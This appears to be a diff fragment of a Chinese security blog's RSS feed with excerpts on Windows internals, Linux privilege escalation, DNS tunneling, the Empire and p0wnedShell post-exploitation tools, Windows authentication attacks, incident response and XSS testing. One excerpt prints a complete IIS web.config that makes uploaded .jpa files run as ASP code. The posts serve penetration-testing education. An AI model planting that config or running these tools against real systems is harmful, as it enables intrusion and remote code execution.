style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">UnmapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x04-创建一个超大文件">0x04 创建一个超大文件</h2> +<p>在写Example的过程中,我发现申请映射的内存空间会把每个字节写入文件中。</p>最近学习Windows编程总结https://payloads.online/archivers/2018-12-20/1/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/1/<h2 id="0x00-windows-字符编码">0x00 Windows 字符编码</h2> <p>目前Windows最常见的字符集:</p> <ul> <li>1.ASCII</li> @@ -2653,7 +5305,65 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></pr</description></item><item><title>Intranet Space - Linux Privilegehttps://payloads.online/archivers/2018-12-19/linux-privilege/Wed, 19 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-19/linux-privilege/<h2 id="0x00-linenum">0x00 LinEnum</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>CHAR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">char</span> +</span></span><span style="display:flex;"><span>PSTR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> +</span></span><span style="display:flex;"><span>WCHAR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">wchar_t</span> +</span></span><span style="display:flex;"><span>PWSTR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span> +</span></span><span style="display:flex;"><span>TCHAR <span style="color:#f92672">-&gt;</span> <span style="color:#960050;background-color:#1e0010">一个宏,当前是什么字符集,编译出来就是什么字符集</span> +</span></span><span style="display:flex;"><span>PTSTR <span style="color:#f92672">-&gt;</span> TCHAR <span style="color:#f92672">*</span> (<span style="color:#960050;background-color:#1e0010">有利于跨平台</span>) +</span></span></code></pre></td></tr></table> +</div> +</div><p>开发中推荐使用“TEXT”宏与PTSTR类型的字符串指针。</p> +<h2 id="0x01-windows进程创建">0x01 Windows进程创建</h2> +<p>进程是一个程序正在运行的一个实例,它由一个内核对象和一个地址空间组成。</p> +<p>内核对象与地址空间都在4GB的虚拟内存中,内核占2GB高地址,低地址的2GB给程序的堆栈使用。</p> +<p>在Windows中,系统通过句柄管理进程中的资源,句柄存储在内核空间中的一个全局句柄表中,而每个进程也都有一个句柄表,这个句柄表是私有的。</p> +<p><strong>PID</strong> 是指的是全局句柄表的值。</p> +<h3 id="进程执行的加载过程">进程执行的加载过程</h3> +<ul> +<li>1.映射EXE</li> +<li>2.创建内核对象EPROCESS</li> +<li>3.映射系统DLL(ntdll.dll)</li> +<li>4.创建线程内核对象ETHREAD</li> +<li>5.系统启动线程、映射DLL(ntdll.LdrInitalizeThunk)、线程开始执行</li> +</ul> +<h3 id="创建进程">创建进程</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CreateProcess</span> +</span></span><span style="display:flex;"><span>( +</span></span><span style="display:flex;"><span>LPCTSTR lpApplicationName, +</span></span><span style="display:flex;"><span>LPTSTR lpCommandLine, +</span></span><span style="display:flex;"><span>LPSECURITY_ATTRIBUTES lpProcessAttributes, +</span></span><span style="display:flex;"><span>LPSECURITY_ATTRIBUTES lpThreadAttributes, +</span></span><span style="display:flex;"><span>BOOL bInheritHandles, +</span></span><span style="display:flex;"><span>DWORD dwCreationFlags, +</span></span><span style="display:flex;"><span>LPVOID lpEnvironment, +</span></span><span style="display:flex;"><span>LPCTSTR lpCurrentDirectory, +</span></span><span style="display:flex;"><span>LPSTARTUPINFO lpStartupInfo, +</span></span><span style="display:flex;"><span>LPPROCESS_INFORMATIONlpProcessInformation +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="线程与进程的关系">线程与进程的关系</h3> +<p>进程是一个程序正在运行的一个实例,它提供了一块存储代码的空间,在进程被创建时,系统也会给进程创建一个主线程(primary thread),主线程负责执行代码,一个进程没有线程是无法运行的。</p>Intranet Space - Linux Privilegehttps://payloads.online/archivers/2018-12-19/linux-privilege/Wed, 19 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-19/linux-privilege/<h2 id="0x00-linenum">0x00 LinEnum</h2> <p>Scripted Local Linux Enumeration &amp; Privilege Escalation Checks</p> <p>Github:https://github.com/rebootuser/LinEnum</p> <p>Usage:https://github.com/rebootuser/LinEnum/blob/master/README.md</p> @@ -2688,7 +5398,19 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 -</span></code></pr</description></item><item><title>Intranet Space - Dns Tunnelinghttps://payloads.online/archivers/2018-12-18/6/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/6/<h2 id="0x00-dns隧道简介">0x00 DNS隧道简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>PS E:&gt; [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy]) +</span></span><span style="display:flex;"><span>Unrestricted # 权限最高,可以不受限制执行任何脚本。 +</span></span><span style="display:flex;"><span>RemoteSigned # 本地脚本无限制,但是对来自网络的脚本必须经过签名 +</span></span><span style="display:flex;"><span>AllSigned # 所有脚本都必须经过签名才能在运行 +</span></span><span style="display:flex;"><span>Restricted # Powershell默认的策略,不允许任何脚本执行 +</span></span><span style="display:flex;"><span>Default # 为Powershell默认的策略 +</span></span><span style="display:flex;"><span>Bypass # 无任何限制策略,不警告、不提示 +</span></span><span style="display:flex;"><span>Undefined # 当前范围中没有设置执行策略 +</span></span></code></pre></td></tr></table> +</div> +</div><p>设置执行策略:</p>Intranet Space - Dns Tunnelinghttps://payloads.online/archivers/2018-12-18/6/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/6/<h2 id="0x00-dns隧道简介">0x00 DNS隧道简介</h2> <p>DNS Tunneling,是隐蔽信道的一种,通过将其他协议的数据封装在DNS协议中传输建立通信。</p> <p>普通的 DNS 查询过程如下:</p> <p>客户端发送 DNS 请求-&gt;DNS 服务器-&gt;如果 DNS 服务器寻找不到该记录-&gt;继续递归查询-&gt;寻找该域名 的 NS 记录-&gt;询问 NS 记录指向的 DNS 服务器-&gt;DNS 服务器响应-&gt;传输给客户端。</p> @@ -2718,7 +5440,11 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </tr> </tbody> </table> -<p>首先在 DNS 解析管理平台上设置一个 NS 和一个 A 记录:</p>Intranet Space - p0wnedShellhttps://payloads.online/archivers/2018-12-18/2/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/2/<h2 id="0x00-p0wnedshell">0x00 p0wnedShell</h2> +<p>首先在 DNS 解析管理平台上设置一个 NS 和一个 A 记录:</p> +<p>当我们询问 hello.HACK.XXX.COM 时,DNS 客户端发送的查询请求会递归到主机记录 NS 指向的 XXX.XXX.XXX.XXX 服务器上。 +黑客通过在 XXX.XXX.XXX.XXX 服务器上监听 53 端口,即可获得 DNS 客户端发送来的请求。</p> +<h2 id="0x02-如何获得命令执行结果">0x02 如何获得命令执行结果?</h2> +<p>这里需要木马的配合,黑客会在服务器端的程序上专门设置一个 TXT 的主机记录,用于存放命令。</p>Intranet Space - p0wnedShellhttps://payloads.online/archivers/2018-12-18/2/Tue, 18 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/2/<h2 id="0x00-p0wnedshell">0x00 p0wnedShell</h2> <p>p0wnedShell is an offensive PowerShell Runspace Post Exploitation host application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell run space environment (.NET). It has a lot of offensive PowerShell modules and binaries included making the process of Post Exploitation easier.</p> <p>Github : <a href="https://github.com/Cn33liz/p0wnedShell">https://github.com/Cn33liz/p0wnedShell</a></p> <h2 id="0x01-p0wnedshell-功能">0x01 p0wnedShell 功能</h2> @@ -2747,7 +5473,14 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prIntranet Space - Empirehttps://payloads.online/archivers/2018-12-18/1/Sat, 15 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/1/<h2 id="0x00-简介">0x00 简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C#" data-lang="C#"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">bool</span> AutoMasq = <span style="color:#66d9ef">true</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">string</span> masqBinary = <span style="color:#e6db74">@&#34;C:\Windows\Notepad.exe&#34;</span>; +</span></span></code></pre></td></tr></table> +</div> +</div><p>如果AutoMasq为false,则不会进行进程注入,若为true,则会进行进程注入,伪装成C:\Windows\Notepad.exe.</p>Intranet Space - Empirehttps://payloads.online/archivers/2018-12-18/1/Sat, 15 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-18/1/<h2 id="0x00-简介">0x00 简介</h2> <p> <img src="https://images.payloads.online/3cc545d0-4f5f-11ec-9fe2-00d861bf4abb.jpg" alt="Empire"> @@ -2771,7 +5504,43 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p> <img src="https://images.payloads.online/3d21b284-4f5f-11ec-88ff-00d861bf4abb.jpg" alt="72c95569361e869b11697561d9a7fcbb.png"> -</p>应急响应 近期总结https://payloads.online/archivers/2018-12-06/1/Wed, 05 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-06/1/<h2 id="0x00-应急响应">0x00 应急响应</h2> +</p> +<h3 id="empire-module-list">Empire Module List</h3> +<ul> +<li>agents</li> +<li>creds</li> +<li>plugins</li> +<li>stager</li> +<li>listeners</li> +<li>module</li> +</ul> +<h3 id="listeners">listeners</h3> +<p><code>listeners</code>的功能是监听一个端口,通过该端口给客户端传递更多的命令和载荷。</p> +<h3 id="agents">agents</h3> +<p><code>agents</code>主要是通过<code>listeners</code>获得的主机对象,可以通过<code>list</code>查看。</p> +<h3 id="stager">stager</h3> +<p><code>stager</code>主要是用于生成初级载荷,也就是木马,在客户端执行后,客户端会主动连接<code>listeners</code>监听的端口,同时服务端的<code>agents</code>列表会出现客户端的主机信息。</p> +<h3 id="module">module</h3> +<p><code>module</code>的主要功能是通过给<code>agents</code>提供更多的功能,可通过<code>searchmodule</code>搜索。</p> +<h3 id="plugins">plugins</h3> +<p><code>plugins</code>主要用于调用和管理Empire的扩展。</p> +<h3 id="creds">creds</h3> +<p><code>creds</code>是一个存储一些<code>agents</code>上获取到的凭证。</p> +<h2 id="0x03-simply-use-empire">0x03 Simply use Empire</h2> +<h3 id="如何获得agents">如何获得agents</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./empire # 启动empire +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/3d7188f4-4f5f-11ec-85d8-00d861bf4abb.jpg" alt="2eca886e0349b46868d2f676b44a9703.png"> + +</p> +<p>有285个module可以使用,1个listener在使用,0个agents。</p>应急响应 近期总结https://payloads.online/archivers/2018-12-06/1/Wed, 05 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-06/1/<h2 id="0x00-应急响应">0x00 应急响应</h2> <p>简介:“应急响应”对应的英文是“Incident Response”或“Emergency Response”等,通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。 &ndash; Baidu</p> <h2 id="0x01-应急响应类型">0x01 应急响应类型</h2> <p>目前接触的那么多应急,基本上都是以下事件类型:</p> @@ -2809,7 +5578,20 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>一般情况下,这类情况都是未安装杀毒软件或杀毒软件病毒库太老。</p> <p>横向移动的手段与<strong>0x03</strong>很相近。</p> <blockquote> -<p>IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。</p>彻底理解Windows认证 - 议题解读https://payloads.online/archivers/2018-11-30/1/Fri, 30 Nov 2018 00:00:00 +0000https://payloads.online/archivers/2018-11-30/1/<p>在内部分享的《彻底理解Windows认证》议题解读,本次议题围绕着Windows认证分别讲解了:</p> +<p>IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。</p> +</blockquote> +<h2 id="0x05-应急响应---数据丢失">0x05 应急响应 - 数据丢失</h2> +<p>这种是处理起来比较棘手的事件了,需要画大量的时间分析日志,确定数据丢失的方式。</p> +<p>首先需要网络日志和主机日志,从数据服务器反向跟踪:<strong>“我被谁访问,谁对我做了什么”</strong></p> +<h2 id="0x06-应急响应---网页篡改">0x06 应急响应 - 网页篡改</h2> +<p>分两种情况:</p> +<ul> +<li>自动化批量攻击</li> +<li>定向入侵</li> +</ul> +<p>首先需要保留HTTP服务器日志,第一种情况就要判断HTTP服务器上是否有脆弱的Web应用,例如:远程代码执行、文件上传漏洞。第二种情况就要从网页篡改后第一发现的时间作为开始日志审计工作的启动时间。</p> +<h2 id="0x07-应急响应---流量异常">0x07 应急响应 - 流量异常</h2> +<p>这种情况一般是服务器被僵尸网络木马控制了,要么就是UDP服务对外 —— DRDOS这类也有可能。</p>彻底理解Windows认证 - 议题解读https://payloads.online/archivers/2018-11-30/1/Fri, 30 Nov 2018 00:00:00 +0000https://payloads.online/archivers/2018-11-30/1/<p>在内部分享的《彻底理解Windows认证》议题解读,本次议题围绕着Windows认证分别讲解了:</p> <ul> <li>Pass The Hash</li> <li>Silver Tickets、Golden Tickets、</li> @@ -2849,7 +5631,31 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 -</span></code></pr解决Mac OS挂载NTFS格式硬盘无法读写https://payloads.online/archivers/2018-10-30/1/Tue, 30 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-30/1/<h2 id="查看分区">查看分区</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;configuration&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;system.webServer&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;handlers</span> <span style="color:#a6e22e">accessPolicy=</span><span style="color:#e6db74">&#34;Read, Script, Write&#34;</span><span style="color:#f92672">&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;add</span> <span style="color:#a6e22e">name=</span><span style="color:#e6db74">&#34;web_config&#34;</span> <span style="color:#a6e22e">path=</span><span style="color:#e6db74">&#34;*.jpa&#34;</span> <span style="color:#a6e22e">verb=</span><span style="color:#e6db74">&#34;*&#34;</span> <span style="color:#a6e22e">modules=</span><span style="color:#e6db74">&#34;IsapiModule&#34;</span> <span style="color:#a6e22e">scriptProcessor=</span><span style="color:#e6db74">&#34;%windir%\system32\inetsrv\asp.dll&#34;</span> <span style="color:#a6e22e">resourceType=</span><span style="color:#e6db74">&#34;Unspecified&#34;</span> <span style="color:#a6e22e">requireAccess=</span><span style="color:#e6db74">&#34;Write&#34;</span> <span style="color:#a6e22e">preCondition=</span><span style="color:#e6db74">&#34;bitness64&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/handlers&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;security&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;requestFiltering&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;fileExtensions&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;remove</span> <span style="color:#a6e22e">fileExtension=</span><span style="color:#e6db74">&#34;.jpa&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/fileExtensions&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;hiddenSegments&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;remove</span> <span style="color:#a6e22e">segment=</span><span style="color:#e6db74">&#34;web.config&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/hiddenSegments&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/requestFiltering&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/security&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/system.webServer&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;appSettings&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/appSettings&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/configuration&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>上传完成web.config到Web目录下后,可以再上传<code>*.jpa</code>的扩展名文件达到执行任意代码的目的。</p>解决Mac OS挂载NTFS格式硬盘无法读写https://payloads.online/archivers/2018-10-30/1/Tue, 30 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-30/1/<h2 id="查看分区">查看分区</h2> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 @@ -2873,7 +5679,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></prxssValidatorhttps://payloads.online/archivers/2018-10-19/1/Fri, 19 Oct 2018 00:00:44 +0000https://payloads.online/archivers/2018-10-19/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/&gt; diskutil list +</span></span><span style="display:flex;"><span>/dev/disk0 <span style="color:#f92672">(</span>internal<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: GUID_partition_scheme 500.3 GB disk0 +</span></span><span style="display:flex;"><span> 1: EFI EFI 314.6 MB disk0s1 +</span></span><span style="display:flex;"><span> 2: Apple_APFS Container disk1 500.0 GB disk0s2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>/dev/disk1 <span style="color:#f92672">(</span>synthesized<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: APFS Container Scheme - +500.0 GB disk1 +</span></span><span style="display:flex;"><span> Physical Store disk0s2 +</span></span><span style="display:flex;"><span> 1: APFS Volume Macintosh HD 209.0 GB disk1s1 +</span></span><span style="display:flex;"><span> 2: APFS Volume Preboot 25.1 MB disk1s2 +</span></span><span style="display:flex;"><span> 3: APFS Volume Recovery 515.8 MB disk1s3 +</span></span><span style="display:flex;"><span> 4: APFS Volume VM 3.2 GB disk1s4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>/dev/disk2 <span style="color:#f92672">(</span>external, physical<span style="color:#f92672">)</span>: +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#: TYPE NAME SIZE IDENTIFIER</span> +</span></span><span style="display:flex;"><span> 0: disk *2.0 TB disk2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>那个<code>/dev/disk2</code>是我的硬盘</p>xssValidatorhttps://payloads.online/archivers/2018-10-19/1/Fri, 19 Oct 2018 00:00:44 +0000https://payloads.online/archivers/2018-10-19/1/<h2 id="0x00-前言">0x00 前言</h2> <p>xss Validator是一个Burp商店的一个高分插件,该插件依赖于<a href="http://phantomjs.org">phantomjs</a>项目以及Burp的Intruder模块。</p> <h2 id="0x01-安装">0x01 安装</h2> <h3 id="安装插件">安装插件</h3> @@ -2894,7 +5725,29 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 -</span></code></prCOM Hijackinghttps://payloads.online/archivers/2018-10-14/1/Sat, 13 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-14/1/<h2 id="0x00-com介绍">0x00 COM介绍</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; pwd +</span></span><span style="display:flex;"><span>/Users/rvn0xsy/GitProject/phantomjs-2.1.1-macosx/bin +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; ls +</span></span><span style="display:flex;"><span>phantomjs xss.js +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; ./phantomjs xss.js <span style="color:#75715e"># 启动监听</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>这时回到Burp的xss Validator插件页面:</p> +<p> + <img src="https://images.payloads.online/339905be-4f5f-11ec-bdc6-00d861bf4abb.png" alt=""> + +</p> +<p>其中:</p> +<ul> +<li><code>Grep Phrase</code>是XSS执行成功后,能够解析出的字符串,支持自定义。</li> +<li><code>Javascript function</code>是验证函数,会被解析的时候调用。</li> +<li><code>Javascript event handlers</code>是监听事件。</li> +<li><code>Payloads</code>是测试XSS的模板,必须包含<code>{JAVASCRIPT}</code>,否则无法判断状态</li> +</ul> +<h2 id="0x03-测试演示">0x03 测试演示</h2> +<!-- raw HTML omitted -->COM Hijackinghttps://payloads.online/archivers/2018-10-14/1/Sat, 13 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-14/1/<h2 id="0x00-com介绍">0x00 COM介绍</h2> <p>COM是Component Object Model (组件对象模型)的缩写。</p> <p>COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。</p> <h2 id="0x01-应用程序与com注册表的关系">0x01 应用程序与COM注册表的关系</h2> @@ -2934,7 +5787,42 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </tr> 